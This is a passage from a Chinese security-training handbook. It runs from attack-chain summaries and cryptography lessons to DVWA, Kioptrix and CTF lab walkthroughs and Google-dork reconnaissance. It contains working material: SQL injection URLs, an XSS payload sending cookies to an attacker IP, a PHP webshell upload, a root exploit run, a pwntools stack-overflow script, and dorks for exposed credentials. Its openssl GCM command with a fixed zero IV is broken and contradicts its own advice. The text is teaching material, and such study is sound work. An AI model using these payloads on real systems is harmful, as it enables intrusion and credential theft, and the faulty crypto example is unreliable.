行为链：抓 4 次握手 → 对弱口令离线爆破（aircrack）→ 或打 KRACK 重装攻击 → 解密流量。

防：路由固件更新；WPA2 用强密码；过渡到 WPA3；企业用 802.1X 认证。

含义：逼对方用更弱的协议版本——HTTPS 从 TLS1.3 降到 1.0、Wi-Fi 从 WPA3 降到 WPA2、SSH 降到弱算法，弱协议才有漏洞可打（FREAK/POODLE/Logjam 都是协议降级产物）。

行为链：MITM 篡改协商 → 强制走弱协议/弱算法 → 用对应漏洞解密。

防：服务端禁用旧协议（TLS1.2+）；HSTS 防 HTTPS 降级；客户端拒绝弱加密套件。

含义：加壳——把程序加密压缩再包一层壳，运行时才解出真代码（UPX 入门级、VMProtect/Themida 军火级），杀毒静态查不到特征；脱壳——逆向侧先让壳自解，再 dump 真内存/还原代码。

行为链（防御侧逆向流程）：识别壳（Detect It Easy）→ 运行到 OEP（原始入口）→ dump 内存 → 修复 IAT → 分析真代码。

防：EDR 动态行为检测（不只看静态特征）；对加壳样本强制沙箱运行分析。

含义：把代码"搅乱"让逆向者看不懂：花指令（垃圾字节）、控制流平坦化（OLLVM/LLVM 把逻辑摊平成状态机）、字符串加密、MBA 表达式膨胀、虚拟化（VMProtect 自建虚拟机指令）。

行为链（逆向对抗）：定位真实逻辑 → 反平坦化还原状态机 → 动调记录解密 → 逐步恢复语义。

防：恶意样本全量沙箱行为分析；用机器学习检测混淆特征；坚持动态分析绕过静态混淆。

含义：恶意代码检测自己是否被分析——查调试器（IsDebuggerPresent/时间差）、查虚拟机（CPU 指令特征/设备名）、查沙箱（鼠标不动/系统信息/运行时间短）→ 检测到就伪装正常退出。

行为链：恶意样本先自检 → 发现分析环境 → 休眠/退出 → 真实环境才激活。

防：分析用无痕沙箱+反反调试插件；结合网络行为分析（躲不掉 C2 通信）；流量侧检测兜底。

含义：云上"账号密码"叫凭据——AccessKey/SecretKey（AK/SK）是长期钥匙；STS Token 是临时钥匙；SAML/OAuth/JWT/OIDC 是跨系统身份令牌。拿到任何一枚，就等于登录了云账号。

行为链：找泄露凭据（GitHub/配置/环境变量）→ 用云 CLI 枚举权限 → 读写 S3/接管服务 → 横向。

防：凭据永不入代码；用角色+临时凭据替代长期 AK；密钥轮换+泄露检测；GitHub 扫描拦截。

含义：云存储桶配置错误成了公开目录——攻击者枚举桶名（公司名+常见后缀）直接 List/Get，大量企业数据裸奔（AWS/GCP/Azure 都有）。

行为链：猜桶名/扫公开列表 → 测试匿名访问 → 列目录拖数据 → 或利用桶策略写文件（投毒）。

防：默认私有+最小权限策略；定期配置审计（Prowler/ScoutSuite）；启 Access Logging 监控异常。

含义：云上每台虚机都能访问的元数据服务（169.254.169.254）——里面放着该机的 IAM 角色临时凭据；一旦有 SSRF，攻击者请求这个地址就能偷到高权限凭据（Capital One 案同款套路）。

行为链：找 SSRF → 请求 /latest/meta-data/iam/security-credentials/ → 拿临时凭据 → 冒充角色调 API → 拖库。

防：IMDSv2（需 PUT 令牌，SSRF 难过）；出站流量禁访 169.254.169.254；最小角色权限。

含义：云上权限管理（IAM）配置错误是头号风险——角色过度授权（*）、策略写错、信任关系过宽；攻击者拿到低权限就能枚举提权。

行为链：枚举用户/角色/策略（枚举漏洞拿其他身份）→ 找过度授权角色 → 利用信任关系换角色 → 提权到管理员。

防：最小权限+定期权限审查；策略模拟测试；监控角色切换（CloudTrail）；权限边界（Permission Boundary）。

含义：从容器里逃到宿主机——利用内核漏洞（runC CVE-2019-5736 改宿主机 runC 二进制）、错误配置（特权容器、挂载宿主机目录、capabilities 过宽）、Docker Socket 暴露。

行为链：进容器（漏洞/RCE）→ 探测特权与挂载 → 打内核漏洞或利用错误配置 → 拿到宿主机 root。

防：容器以非 root 运行；禁特权容器；挂载最小化；内核补丁；运行时安全（Falco 检测逃逸特征）。

含义：K8s 集群的默认配置常是"裸奔"——Dashboard 无认证、kubelet 端口暴露、etcd 无加密、匿名 API 可访问；拿到一个 Pod 就可能横向到整个集群。

行为链：扫集群组件暴露端口 → 未认证 API/etcd → 拿 ServiceAccount Token → 创建特权 Pod → 逃逸+横向。

防：RBAC 最小化；禁止匿名访问；etcd 加密+隔离；网络策略（Cilium）；审计 kube-api 事件。

含义：CVE——漏洞统一编号（CVE-2021-44228 即 Log4Shell）；NVD/CNVD——美/中漏洞库；CVSS——漏洞严重程度打分（0-10，10 为满分如 Log4Shell）。

行为链（攻防共用）：漏洞披露 → 打 CVSS 分/进库 → 攻击者赶在补丁前利用（N-day 窗口）；防守方按分数排修复优先级。

防：订阅 CVE 情报；按 CVSS+资产重要性排修复；漏洞管理平台自动化。

含义：EPSS——预测漏洞被实际利用的概率（0-100%，比 CVSS 更贴近实战）；KEV——CISA 的"已被利用漏洞目录"；CISA——美国网络安全机构，规定联邦机构 7 天内修完 KEV 漏洞。

行为链：漏洞公开 → EPSS 快速升高的优先修 → 进 KEV 后成攻击者首选目标 → 防守方按此排兵。

防：以 EPSS 排序修复；KEV 清单强制 7 天 SLA；资产清单先补 KEV 漏洞。

含义：厂商花钱请白帽挖自己漏洞——HackerOne/Bugcrowd（国际）、补天/漏洞盒子/众测 SRC（国内），按漏洞等级发奖金；挖洞合法化+生态化（HackerOne 累计已发 3 亿+ 美元）。

行为链：读目标规则范围 → 授权测试 → 提交 PoC 报告 → 厂商确认分级 → 发奖金/进名人堂。

防：企业自建 SRC 主动收洞；赏金标准公开；收到报告 72 小时内确认响应。

含义：0day 交易——Zerodium 等公司公开收购浏览器/手机 RCE（报价数十万到数百万美元）；Pwn2Own 黑客大赛现场演示真 0day 赢奖金；这形成了"漏洞经济学"：发现漏洞是门生意。

行为链：研究员挖 0day → 走漏洞收购/大赛/赏金变现 → 或被 APT 高价私买（灰色）。

防（厂商视角）：加大自身漏洞奖励抢洞；缩短补丁周期；公开致谢生态。

含义：三大威胁建模框架——ATT&CK：MITRE 的攻击战术矩阵（侦察→初始访问→执行→提权→横向→C2→窃取，14 战术+上百技术，蓝队检测的依据）；杀伤链：Lockheed 七阶段（侦察-武器化-投递-利用-安装-C2-行动）；钻石模型：分析单次攻击的"谁-对谁-用什么-目的"四要素。

行为链（使用方式）：红队按 ATT&CK 选技术做演练；蓝队按矩阵建检测；事件响应按钻石模型画像。

防：按 ATT&CK 映射自己的检测覆盖；红蓝队共用同一套语言（ATT&CK 就是安全界的通用语）。

含义：TTP——攻击者的战术、技术、流程（画像用）；IOC——入侵指标（恶意域名/哈希/IP）；威胁情报把"谁在打我们、怎么打的"变成可执行的检测规则。

行为链：收集情报（公开/商业）→ 提炼 IOC/TTP → 落地检测规则与封禁 → 事件关联分析。

防：威胁情报平台接入；IOC 自动下发到防火墙/EDR；情报与自家环境关联（有命中才是威胁）。

含义：高级持续性威胁——有国家/组织背景的长期定向攻击者：Fancy Bear（APT28，俄罗斯，军队情报）、APT29（俄罗斯，外交/疫苗/太阳风）、方程式（Equation Group，NSA）、Lazarus（朝鲜，盗币）、海莲花等。共同点：耐心、隐蔽、资源无限。

行为链：数月侦察 → 精准钓鱼/0day → 静默潜伏 → 缓慢横向 → 长期窃取。

防：纵深防御+异常行为检测；重点人群（涉密/高管）单独加固；威胁情报关联 APT 手法。

含义：NSA 的黑客工具被泄露——2017 年"影子经纪人"放出（含永恒之蓝→WannaCry 全球灾难）；2017 年维基解密 Vault7 放出 CIA 工具（含"哭泣天使"电视监控）；国家级的 0day 武器库一旦流出，就是全球灾难。

行为链：武器泄露 → 公开/黑市传播 → 被各类攻击者批量使用 → 打爆全球未修补系统。

防：及时补丁是唯一可靠解；关停高危服务（SMBv1）；假设武器已泄露、按"随时可能被打"防守。

含义：不打目标，打目标信任的东西——开源包投毒（npm/PyPI 恶意包、typosquatting 仿冒包、依赖混淆）、构建系统劫持（SolarWinds）、软件更新投毒（xz liblzma 后门 2024）；一次打万家。

行为链：注册仿冒包名/黑掉维护者 → 提交恶意代码 → 开发者拉取依赖 → 恶意代码进入千家系统。

防：锁版本+校验哈希（lockfile/SBOM）；私有镜像源；依赖扫描（SCA）；可疑包名监控。

含义：NSA 双件套——EternalBlue：SMBv1 RCE（免认证打 445）；DoublePulsar：配套的内核级后门植入器；两者组合曾让全球数十万台机器一夜沦陷（WannaCry/NotPetya 的引擎）。

行为链：扫 445 → EternalBlue 溢出 → DoublePulsar 注入内核后门 → 加载任意载荷 → 传播+勒索。

防：打 MS17-010；禁 SMBv1；445 不出公网；EDR 检测漏洞利用特征（异常 SMB 包）。

对称加密（Symmetric）：加密和解密用同一把钥匙。像一把钥匙开一把锁：你锁门用这把钥匙，开门也用这把钥匙。特点是快、省资源，但问题是怎么把钥匙安全地交给对方——钥匙本身要传输，传输过程被偷看就全完了。代表算法：AES（高级加密标准）、DES（老古董）、ChaCha20（手机加密通信的新宠）。

非对称加密（Asymmetric）：加密和解密用两把不同的钥匙——一把公钥（Public Key）公开给大家，一把私钥（Private Key）死死藏在自己手里。别人用你的公钥加密，只有你的私钥能解开。像信箱：人人都能往你信箱里投信（公钥加密），但只有你有钥匙能开箱取信（私钥解密）。慢、耗资源，但解决了"钥匙怎么安全传输"的世纪难题。代表算法：RSA、ECC（椭圆曲线）。

哈希（Hash）：不是加密，而是指纹。把任意长度的内容，变成一串固定长度的"摘要"。特点是：不可逆（从摘要推不回原文）、雪崩效应（改一个字，摘要面目全非）、碰撞极难（两个不同内容撞出同一个摘要）。哈希不是用来传输秘密的，而是用来验证完整性和存密码的。代表算法：MD5、SHA-1、SHA-256、Bcrypt、Argon2。

实战口诀：要保密传输 → 用非对称交换钥匙，再用对称加密干活（这就是 HTTPS 的原理：先 RSA/ECDH 商量出一把会话钥匙，再用 AES 加密网页内容）；要验证没被篡改 → 用哈希；要存密码 → 用加了盐的慢哈希（Bcrypt/Argon2），绝不能用 MD5。

AES（Advanced Encryption Standard，高级加密标准）是目前全世界用得最多的对称加密算法，1998 年发布，2001 年成为美国联邦标准。你的微信、支付宝、银行转账、Wi-Fi 密码、压缩包密码，底层几乎都是 AES。它把数据切成 128 位（16 字节）一块，用 128/192/256 位的钥匙做 10~14 轮"置乱+扩散"运算。

AES-256 的暴力破解到底有多难？AES-256 的钥匙有 256 位，也就是 2 的 256 次方种可能 ≈ 1.15 × 10 的 77 次方。全世界最快的超级计算机每秒算 10 的 18 次方次（10 亿亿次），就算把全地球所有计算机合起来算到宇宙毁灭也算不完。所以记住结论：AES 本身无法被破解，能破解的永远是"人的弱点"——钥匙太短、钥匙是弱口令、钥匙被偷、或者实现有漏洞。

AES 的四种工作模式，90% 的安全事故都出在这里：

Linux 和 Windows（装了 Git 自带）都有 openssl 命令行工具，是练习密码学最好的沙盒：

# 1. 用 AES-256-GCM 加密文件（生成随机钥匙文件）
openssl rand -base64 32 > key.bin          # 生成 256 位随机钥匙（32 字节）
openssl enc -aes-256-gcm -K $(cat key.bin | base64 -d | xxd -p) -iv 00000000000000000000000000000000 \
  -in 机密.txt -out 机密.enc
# 2. 解密
openssl enc -d -aes-256-gcm -K $(cat key.bin | base64 -d | xxd -p) -iv 00000000000000000000000000000000 \
  -in 机密.enc -out 机密_恢复.txt
# 3. 算文件哈希（验证完整性）
openssl dgst -sha256 机密.txt        # 输出 sha256 摘要
# 4. 对称加密最常用的简便姿势（passphrase 版）
openssl enc -aes-256-cbc -salt -pbkdf2 -iter 600000 -in 机密.txt -out 机密.enc
#    解密时输入同一句密码即可；-iter 迭代次数越高越难被暴力破解

动作链解析：① 生成/输入钥匙 → ② 选择算法和模式 → ③ 加密写出密文 → ④ 校验哈希或解密对比 → ⑤ 确认一致即成功。这套动作链和你在任何加密软件里点按钮是同一套逻辑，只是命令行让你看得见每一步。

RSA 一句话原理：挑两个大质数 p、q，算出 n = p×q，公钥是 (n, e)，私钥是 (n, d)。因为"把两个大质数乘起来容易，把 n 分解回 p、q 极难"，所以公钥随便给人，私钥只有自己留——这就是 RSA 安全的全部秘密，建立在大数分解难题上。

数据点：目前已知被成功分解的最大 RSA 数是 RSA-250（829 位，2020 年分解，用了 2700 核年）。所以 RSA-2048（617 位十进制）现在绝对安全，但量子计算机出现后，Shor 算法可以在多项式时间内分解大数，RSA 将一夜崩塌——这就是"后量子密码学"存在的意义。

ECC（椭圆曲线）为什么崛起：同样的安全强度，密钥长度小得多：

实战含义：同样的安全级别，ECC 钥匙短、快、省流量，所以手机、物联网设备、SSH 都疯狂拥抱它。今天你新生成的 SSH 钥匙，强烈建议用 Ed25519：ssh-keygen -t ed25519——一条命令，一步到位。

数字签名（私钥签、公钥验）：签名 = 用私钥对内容的哈希做加密。任何人用你的公钥能验证"这确实是你的私钥签的"且内容没被改。软件更新包、电子邮件 PGP、代码提交（git commit 签名）、HTTPS 证书，全靠这套。

HTTPS 证书信任链：CA（证书颁发机构）用自己的私钥给网站的证书签名 → 浏览器内置了 CA 的公钥 → 浏览器验证证书签名 → 建立加密连接。整个信任链条的根，就是那几百个内置在系统里的根证书。2011 年荷兰 DigiNotar CA 被黑，攻击者签发了 531 个假证书，直接劫持了 Gmail——这就是 CA 被攻破的教科书案例。

MD5（1992 年）：输出 128 位（32 个十六进制字符），当年是标准，现在是笑话。2004 年王小云教授用"差分攻击"在纯数学层面破解了 MD5 的碰撞（找两个不同内容哈希相同），2017 年有人用 110 美元的 GPU 花几小时就撞出了 MD5 碰撞。今天 MD5 的唯一用途：校验下载文件是否损坏（防意外不防恶意）。

SHA-1（1995 年）：输出 160 位，2017 年 Google 联合 CWI 用 9×10 的 18 次方次计算量（约 110 年单核 CPU）制造了首个公开 SHA-1 碰撞，命名 SHAttered。Git 早期对象哈希就是 SHA-1，目前靠额外防护撑着。2024 年 SHA-1 碰撞成本已降到约 100 美元 GPU 算力级别，彻底凉透。

SHA-2 家族（2001 年）：SHA-256/SHA-512 输出 256/512 位，至今无已知有效攻击，是当前绝对主流。比特币挖矿用的就是 SHA-256（还有更快的 SHA-512/256）。

SHA-3（2015 年）：Keccak 算法胜出，设计理念完全不同（海绵结构），是 SHA-2 的备胎和量子时代预备队。

为什么"哈希不可逆"却还能被"破解"？因为破解的不是哈希本身，而是猜：把字典里每个可能的密码都算一遍哈希，和你的哈希比对，撞上就赢了。这就是"离线暴力破解"的原理。GPU 并行下这个速度极其恐怖：

# hashcat 实战（授权测试/自有数据场景）：
# 1. 把哈希列表存进 hash.txt（每行一个）
# 2. 识别哈希类型并指定模式号：
#    MD5=0  SHA256=1400  NTLM=1000  bcrypt=3200  WPA2=22000
hashcat -m 0 -a 0 hash.txt rockyou.txt        # 字典攻击（a=0）
hashcat -m 0 -a 3 hash.txt '?d?d?d?d?d?d?d?d'  # 掩码爆破 8 位数字（a=3）
hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt # 组合攻击（a=1）
# rockyou.txt 是著名的 1400 万条真实泄露密码字典，Kali 自带

动作链：① 拿到哈希（授权范围内，如自己系统的 /etc/shadow）→ ② 识别算法 → ③ 选字典/掩码/规则 → ④ GPU 跑 → ⑤ 撞出明文。真实世界里 70% 以上泄露密码都能被字典+规则在几小时到几天内撞出——这就是为什么密码必须长、必须乱、必须每站不同。

彩虹表（Rainbow Table）是"把穷举提前干完"的作弊器：预先算好一大张表——把海量密码的哈希（以及经过约简函数的链条）提前算好存起来，破解时直接查表，秒出结果，不用现场算。代价是建表要花大量时间与存储（几百 GB 到 TB 级）。

关键防护：加盐（Salt）让彩虹表当场作废——因为加了随机盐之后，同一个密码在不同盐下哈希完全不同，攻击者必须为每一个盐单独建表，成本爆炸。所以：任何密码存储，必须加盐 + 慢哈希，这是现代密码存储的底线。

数据点：2023 年 Verizon DBIR 显示约 74% 的数据泄露涉及人为因素（口令失窃/弱口令）；HIBP（Have I Been Pwned）累计收录真实泄露的超过 100 亿条邮箱+密码组合——其中绝大部分口令都是"123456、password、qwerty"级别。RockYou2021 泄露包包含 84 亿条密码，直接撑爆了几乎所有常见字典。

# Python 正确存密码（第 4 代标准做法）：
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hash_ = ph.hash("我的密码")      # 自动生成随机盐 + Argon2id 哈希
ok = ph.verify(hash_, "我的密码") # 验证：True
# 不要自己实现加密！直接用经过审计的标准库——自己写加密 = 给自己挖坑

1. 用 ECB 模式——明文结构泄露，直接毙。
2. 密钥硬编码在代码里——GitHub 一搜就是你的钥匙，密钥必须放环境变量/KMS。
3. IV 固定或复用——CBC/CTR 模式下致命，IV 必须每次随机（GCM 下 96 位随机）。
4. 用 MD5/SHA-1 存密码——GPU 秒破，立即换 Argon2id。
5. 不加盐——彩虹表/同哈希聚类攻击，相同密码一破全破。
6. 自己发明算法——"自创 XOR 加密"在 CTF 里都是送分题，何况现实。
7. 用 DES/RC4/3DES 等退役算法——DES 56 位钥匙 1998 年就被 25 万美元机器 56 小时破解。
8. HTTPS 证书校验关掉——self-signed 不验证、verify=False，等于裸奔，MITM 直接接管。
9. 钥匙轮换缺失——同一把钥匙用十年，泄露一次全完；钥匙要有生命周期自动轮换。
10. 日志里打明文密码/密钥——日志系统一旦被拖，等于把保险柜钥匙贴在门上。

Shor 算法（1994 年）理论上能用量子计算机在多项式时间内分解大数和算离散对数，RSA/ECC 全线告急。2023 年 IBM 的 127 位量子处理器"Heron"在噪声抑制上取得里程碑，但离破解 RSA-2048（需要约 2000 万物理量子比特）还差着数量级——业界的共识是：2030 年前后，"先收集后解密"（Harvest Now, Decrypt Later）是最大现实威胁，今天加密传输的敏感数据，可能被记录保存，等量子机成熟后解密。

应对：后量子密码学（PQC）——美国 NIST 在 2024 年正式发布了首批后量子标准：ML-KEM（Kyber，密钥封装）、ML-DSA（Dilithium，数字签名）、SLH-DSA（SPHINCS+，无状态签名）。它们基于格密码等"量子算不快"的数学难题。TLS 1.3 已经开始实验性混用（x25519+Kyber）。

你现在能做的：① 敏感数据加密传输时考虑长周期保护（如果数据要保密 20 年以上，现在就要用 PQC 混合方案）；② 关注浏览器/服务器对 X25519MLKEM768 的支持；③ 别慌——日常 HTTPS 短期内依然安全，重要的是别再用退役算法。

数据点：VulnHub 上架了超过 200 台社区靶机镜像；HackTheBox 提供了 600+ 台在线靶机；DVWA 内置 14 个漏洞模块（Brute Force、SQL 注入、XSS、上传、命令注入、CSRF、文件包含等）。初学者第一站，九成以上的人选 DVWA——因为它是"说明书级别的漏洞练习场"。

# 推荐配置（以 VMware/VirtualBox 为例）：
# 1. 装 Kali Linux（渗透专用系统，自带 600+ 工具）
#    - 官网下载 VMware 版镜像，导入即可，无需手动安装
#    - 内存 4G+、硬盘 60G+，网络选 NAT（隔离）
# 2. 装靶机：
#    - DVWA：Kali 里一条命令 docker run -d -p 80:80 vulnerables/web-dvwa
#      或 git clone + PHP 环境手动搭
#    - VulnHub 靶机：下载 .ova/.vmx 镜像 → 导入虚拟机 → 网络选 NAT
# 3. 网络拓扑：Kali(攻击机) + 靶机 挂在同一 NAT 网段
#    攻击机 IP: 192.168.x.100    靶机 IP: 192.168.x.101（DHCP 或固定）
# 4. 验证连通：在 Kali 里 ping 靶机 → nmap 扫描确认服务开起来了

动作链：① 下载 Kali 镜像 → ② 导入虚拟机 → ③ 下载 DVWA/VulnHub 靶机 → ④ 配置 NAT 网络 → ⑤ 启动双机 → ⑥ ping 通 → ⑦ 开始打。每一步都有图形界面，第一次 30 分钟能全部跑通。

DVWA（Damn Vulnerable Web Application，欠揍的脆弱 Web 应用）是一个故意做满漏洞的 PHP 练习站，打开浏览器输入靶机 IP 就能用，默认账号 admin/password。它把每个漏洞都做成一个"模块"，难度分四档：

DVWA 的 14 个模块：Brute Force（暴力破解）、Command Injection（命令注入）、CSRF、File Inclusion（文件包含 LFI/RFI）、File Upload（文件上传）、Insecure CAPTCHA（验证码绕过）、SQL Injection（SQL 注入）、SQL Injection (Blind)（盲注）、Weak Session IDs（弱会话）、XSS (DOM)、XSS (Reflected)、XSS (Stored)、CSP Bypass、JavaScript。

# 靶机：DVWA Low 难度 SQL Injection 模块
# 目标：URL 参数 id 存在拼接型注入
# 正常请求：
http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit
# 返回：First name: admin, Surname: admin

# 第 1 步：探测注入点（加单引号，看是否报错）
http://靶机IP/vulnerabilities/sqli/?id=1'&Submit=Submit
# 返回 SQL 语法错误 → 确认存在注入

# 第 2 步：用联合查询确定列数（ORDER BY 逐列试）
http://靶机IP/vulnerabilities/sqli/?id=1 ORDER BY 1-- &Submit=Submit   # 不报错
http://靶机IP/vulnerabilities/sqli/?id=1 ORDER BY 3-- &Submit=Submit   # 报错 → 共 2 列
# -- 是 SQL 注释符，把后面无关的 SQL 全部注释掉

# 第 3 步：UNION 注入，直接拖出用户名密码哈希
http://靶机IP/vulnerabilities/sqli/?id=1' UNION SELECT user,password FROM users-- &Submit=Submit
# 返回：admin + 一串 md5 哈希 → 拿去 hashcat 破（见 8F 章）

动作链解析：① 找带参数的地方（id=1）→ ② 单引号探测 → ③ ORDER BY 数列数 → ④ UNION 查数据 → ⑤ 拿到哈希破解。这套动作链在真实渗透里 90% 的 SQL 注入都是这么打下来的，只是靶场里没监控、没 WAF，让你先看清全过程。

反射型 XSS（Low）：DVWA 的 XSS (Reflected) 模块，输入框直接回显内容且不过滤。输入：<script>alert(1)</script>，页面弹出 1 → 说明你的"脚本"在别人浏览器里执行了。构造钓鱼页：<script>document.location='http://攻击机IP/cookie?c='+document.cookie</script>，把受害者 Cookie 偷到你的服务器（这段用你自己的 DVWA 环境测，别拿去贴真网站）。

文件上传（Low）：上传模块只检查了文件类型却没限制后缀。做法：写一个一句话木马文件 shell.php（内容是一行 PHP 代码），扩展名改成 .php 直接传；再用中国蚁剑（AntSword）/菜刀连上，拿到网站目录权限。防护对照：切到 Impossible 档，会发现上传被强制校验 MIME、后缀白名单、随机改名、禁用执行目录——这就是为什么真实环境一句话木马越来越难传。

VulnHub 的靶机是"微型真实网络"：一台有漏洞的 Linux/Windows 虚拟机，藏着一个或多个 flag 文件（证明你打穿了）。Kioptrix Level 1 是入门首选——它是个老系统，几个已知漏洞就能一路提权到 root。

# 完整渗透流程（Kioptrix Level 1 实战笔记）：
# 第 1 步 信息收集：先 ping 通，再全端口扫描
nmap -sV -O 192.168.x.101
# 发现: 22/tcp ssh、80/tcp http、111/tcp rpcbind、443/tcp ssl/https、32768/tcp
# 指纹: Apache/1.3.20、OpenSSL/0.9.6b —— 老版本，必有已知漏洞

# 第 2 步 漏洞查找：版本对上 CVE
searchsploit apache 1.3.20          # 本地漏洞库搜索
# 找到: mod_ssl/OpenSSL "OpenFuck" 远程溢出（CVE-2002-0656 系）

# 第 3 步 利用：跑公开 exploit（靶场环境合法）
./OpenFuck 0.6.4 192.168.x.101 443 -p 0    # 打 HTTPS 端口
# 返回 root shell！直接拿到系统最高权限

# 第 4 步 拿 flag & 提权确认
id          # uid=0(root) → 已提权成功
find / -name "*flag*" 2>/dev/null          # 找到 flag 文件
cat /root/flag.txt                          # 通关！

# 第 5~7 步 痕迹清理 / 写报告 / 删环境（靶场标准收尾）

数据点：Kioptrix 系列一共 5 个难度递增的靶机；VulnHub 上 Kioptrix 下载量常年位居榜首，是绝大多数人的"第一台完整打穿的机器"。

五类题的统一解法框架（CTF 通用四步）：① 看名字——题目标题就是提示（比如"easy_overflow"直接告诉你是栈溢出）；② 看附件——strings 扫一遍、file 看类型、查外挂（题面给的 hint）；③ 上工具——每类题型都有三板斧，先把常规工具跑一遍；④ 看 writeup——解不出就搜别人的 writeup 学习，CTF 学习效率最高的方式就是"先自己试，再看答案复盘"。

# Misc 入门三连（最常考的隐藏套路）：
strings 附件文件 | grep -i flag      # 1. 直接搜字符串
binwalk 附件文件                     # 2. 看有没有藏其他文件（图片藏 zip 等）
# 3. 图片隐写：Stegsolve 切通道 / zsteg 扫 LSB
# 流量题：Wireshark 过滤 http/ftp/dns 慢慢翻，flag 常藏在一个请求里

# 场景：题目给一个 C 程序，gets() 读输入（经典栈溢出点）
# 第 1 步 侦察：
checksec ./pwn1        # 看保护: NX 开没开、Canary 有木有、PIE 开没开
# 第 2 步 找后门函数：IDA/Ghidra 里找 win()/system("/bin/sh") 类函数
# 第 3 步 算偏移：用 pwntools 的 cyclic 生成定位
from pwn import *
p = process('./pwn1')
p.sendline(cyclic(200))          # 发 200 字节模式串
p.wait(); core = p.corefile      # 程序崩溃，看 RIP 停在哪个字符
offset = cyclic_find(core.rip)   # 得到偏移量（比如 40 字节）
# 第 4 步 构造 payload：padding + 后门函数地址
payload = b'A'*40 + p64(win_addr)
p = process('./pwn1'); p.sendline(payload); p.interactive()
# 得到 shell → cat flag

动作链：侦察保护 → 找后门 → 算偏移 → 构造 payload → 交互拿 shell。Pwn 看起来吓人，但入门题的套路极其固定——先会 ret2text，再会 ret2libc（调 libc 里的 system），Pwn 就算进门了。

# 渗透测试报告模板（靶场练习/授权测试通用）
【报告标题】XX 目标渗透测试报告
【1 概述】测试时间 / 测试范围（授权书编号）/ 测试人员 / 测试类型（黑盒/白盒）
【2 目标与范围】资产清单（域名、IP、系统）/ 授权边界（哪些不能打）
【3 方法论】信息收集→漏洞扫描→人工验证→利用→提权→报告（附参考 OWASP/PTES）
【4 漏洞发现汇总】
  4.1 高危: SQL 注入（URL /sqli/?id=，CVSS 9.1）—— 可拖库
  4.2 中危: 弱口令（admin/123456，CVSS 7.5）—— 可撞库
  4.3 低危: 版本泄露（Apache/1.3.20 响应头，CVSS 3.1）
【5 每个漏洞的完整描述】
  漏洞名称 / 危害等级 / 位置（URL+参数）/ 复现步骤（截图+请求包）/ 影响 / 修复建议
【6 攻击路径图】从外网入口到最终权限的完整链条
【7 修复优先级清单】按 CVSS + 可利用性排序，给 SLA 建议
【8 附录】使用的工具清单 / 请求包 / 哈希 / 日志

数据点：行业通行标准——高危漏洞 CVSS ≥ 7.0，修复 SLA 通常要求 7~30 天（CISA 对 KEV 已利用漏洞要求联邦机构 7 天内修复）；一份好报告的价值在于"可复现"，即别人照着报告能重新打出同一个漏洞，这才是甲方要的东西。

OSINT 有四个特点，记住了你就理解了这个行当。第一，来源公开：新闻、社交平台、政府公示、招聘网站、GitHub、论文、裁判文书，全是可以合法拿到的信息。第二，合法合规：它和入侵、拖库的本质区别在于——你用的每一条数据，都是别人主动放出来的。法律管的是"未经授权获取"，而公开信息本来就是敞开的。第三，零接触：真正的高手做情报收集时，甚至不会让目标发现自己被查过——因为全程只是"看"，不是"动"。第四，拼图游戏：单条信息可能毫无价值，但一百条碎片拼起来，就是一张清晰的画像。打个比方：公开信息是散落一地的乐高零件，OSINT 就是照着说明书把它们拼成一座城堡。

在渗透测试（我们常说的安全测试）里，OSINT 是标准流程的第一步，行话叫侦察（Recon）。一份好的侦察报告，能让后续的攻击面缩到最小、效率拉到最高。而在企业侧，OSINT 又有一个完全相反的用法：暴露面管理——安全团队主动用黑客的思路搜自己公司的信息，看看有哪些员工邮箱在公开的泄露库里、有哪些敏感文件被传到了公开网盘、有哪些员工在社交媒体上晒了工牌。2024 年 Verizon《数据泄露调查报告》（DBIR）统计，约 68% 的数据泄露都涉及"人的因素"，也就是员工误操作、钓鱼、密码泄露这一类——而这些"人的因素"，恰恰是 OSINT 最容易摸到的那一头。

以下是全网流传最广、实战最常用的 Google 语法。注意两点：一是下面这些指令不止 Google 能用，Bing、百度、DuckDuckGo 大多也都支持（百度支持度稍差，站内语法 site: 可用）；二是表格里的示例仅为教学演示，请挑自己公司、自己测试靶场来练手。

经典的组合拳长什么样？比如传说级的：intitle:"index of" "parent directory"——这能筛出开了目录列表的服务器，里面裸奔着备份、日志、源码；再比如 filetype:sql intext:"INSERT INTO" ——直捣数据库导出文件。更狠一点的思路是搜配置文件：filetype:env DB_PASSWORD、filetype:log intext:"password"。这些指令单用都没什么，组合起来就是一台侦察机。

第一招：时间过滤。搜索引擎通常提供"时间工具"筛选近一天、近一周、近一年。往小了用，可以找"刚上线还没捂热"的目标系统；往大了用，是情报时效性的基本功——一条三年前的信息可能早就失效了。记住：情报的生命周期很短，拿到手先看时间戳。

第二招：精确引号。不理解的词，先搜定义；要碰运气的重要内容，宁可把搜索词拆成多个引号短语交叉验证，也别靠联想。比如搜"default password"，你得到的是泛泛的教程页；加引号搜 "default password" admin，命中率立刻不同。引号的意义是：结果必须是字面完全一致的字符串，这是搜索精度从"差不多"到"毫厘不差"的分水岭。

第三招：减号排除。广告、教程、新闻稿永远污染结果。商战搜索（搜竞品名称）时排除招聘、百科、新闻这些信息量低的页面，剩下的才是干货。示例：example.com -site:example.com——把目标站点自己的页面全扔掉，剩下的都是别人嘴里描述的它。

第四招：组合拳意识。单独用任何一个语法，都是玩具；把它们当成乐高块，才是工具。搜索"某公司 某姓名"，信息量是 1；搜索 site:linkedin.com "某公司" "某姓名"，信息量翻十倍。情报人员的搜索习惯可以总结成一句话：永远先限定站点，再限定文件类型，最后才交关键词。

网站要上 HTTPS，就得给域名申请证书。从 2013 年起，主流证书颁发机构（CA）被要求把每一张证书都写入公开的"证书透明度日志"（Certificate Transparency，简称 CT），谁都可以查。这意味着：企业每偷偷上线一个子域名（哪怕只测试一天），证书日志里就永久躺着一行记录。这就等于免费订阅了一份"子域名日报"。

实战入口是 crt.sh（crtsh 的网页版，URL 是 crt.sh）。打开后输入域名，比如 example.com，它会把历史上申请过的该域名的所有证书列出来——注意要用通配符 %.example.com 才能把 www、api、dev、test 这些子域全部捞出来。结果里你会看到常见操作：考拉这种企业级站点，子域名动辄几百上千条，里面藏着旧系统、测试环境、内部文档站，全是情报金矿。命令行党和自动化党可以直接调 crt.sh 的 API（查询地址 crt.sh/?q=域名&output=json），程序里解析然后批量做子域名存活探测。

